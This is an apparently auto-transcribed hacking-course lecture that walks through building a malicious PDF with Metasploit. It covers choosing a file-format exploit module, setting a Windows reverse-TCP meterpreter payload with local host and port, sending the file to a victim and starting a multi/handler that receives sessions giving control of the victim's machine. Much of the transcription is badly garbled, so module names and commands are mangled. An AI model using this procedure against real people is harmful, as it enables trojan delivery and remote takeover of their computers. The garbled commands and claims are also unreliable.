Welcome in this lecture we are going to see how to embed our malware in a normal audio file.
As you know -- have become really common in everyday work.
It's hard to imagine business proposals without video of the plea deal format is usually in almost all
companies who share a business deals.
Company brochures and even invitations previous years.
We are not good for the beauty of rulers as they will be nobody's ever published that ad buffer overflow.
Nobody in watching prior to watching 9 a lot of the attacks will observe trying to abuse the book by
using social engineering or by posting malicious -- on the Internet.
Just the simple act of opening the -- could exploit a celebrity to automatically download malicious
code from the Internet and display L'Equipe video file to trick you into believing that nothing wrong
has happened.
As you can see in the chart the percentage of the attack is increasing your audience so let's see how
the hackers embed their payload in normal video file.
Here we are going to use my dad's plate framework to create a malicious beauty of open air terminal
and type a massive console to start metabolite next year when to use a low underscored video underscored
embittered underscored equally underscored.
No javascript model to create a malicious parody of which is modified version of an operative embedded
yikes.
Social engineering.
This version does not require javascript to be enabled and does not required that you seek to be a better
deputy of the E C is embedded in the beauty of in a non-standard method.
Using hex and coding now to use the model I use exploit slash windows slash file format slash Hello
underscore the beauty of this code embittered and thus go easy on does score Lord jealous grip.
Now to see the options of this module type show options.
Here we can see the default name of our payload and video file.
If you want to use different name to your video type set by name now enter the name which you want to
you hear how an important next we need to set which type of payload we are going to use.
So here we are using Windows slash with reporter slash was underscored DCP
no enter the local IP or port.
Listen on the machine so to get your local MP open a new terminal and a if config.
Here is a local whose IP address copy and paste here.
Similarly to set a port on which the connection is to listen for routine type set and port.
Next when you create your video file
as you can see the file is created and saved in that Amazon for No.
To see the payload open a new terminal type duty dot Amazon for Slash.
Local.
Here is our malicious beauty file no to copy this file to a sleeker type CB important not a slash is
legal.
Let's check in with this record.
Here is our file.
Next we need to send this file with the machine.
So before going to send this file to victim flesh we need to create a handler to listen it was connection
type you explode slash multi slash handler no to payload type set reload windows slash water bottle
slash reload and those cordless repeat similarly to set l host an import to listen on victim said l
host one ninety two not one sixty eight but four to reload to do two notice that l port I said l bought
80 no paper and I'd explode to start listen as you can see now we added two police on it it was conversion
here again see as St..
Malicious beautiful 2 with machine.
Now let's try to open this
you can see a lot of reload is executed automatically and we've got multiple position.
You know what I mean.
Now you can control European machine from here so that's how the hackers hack European machine by emitting
the malware including of thank you.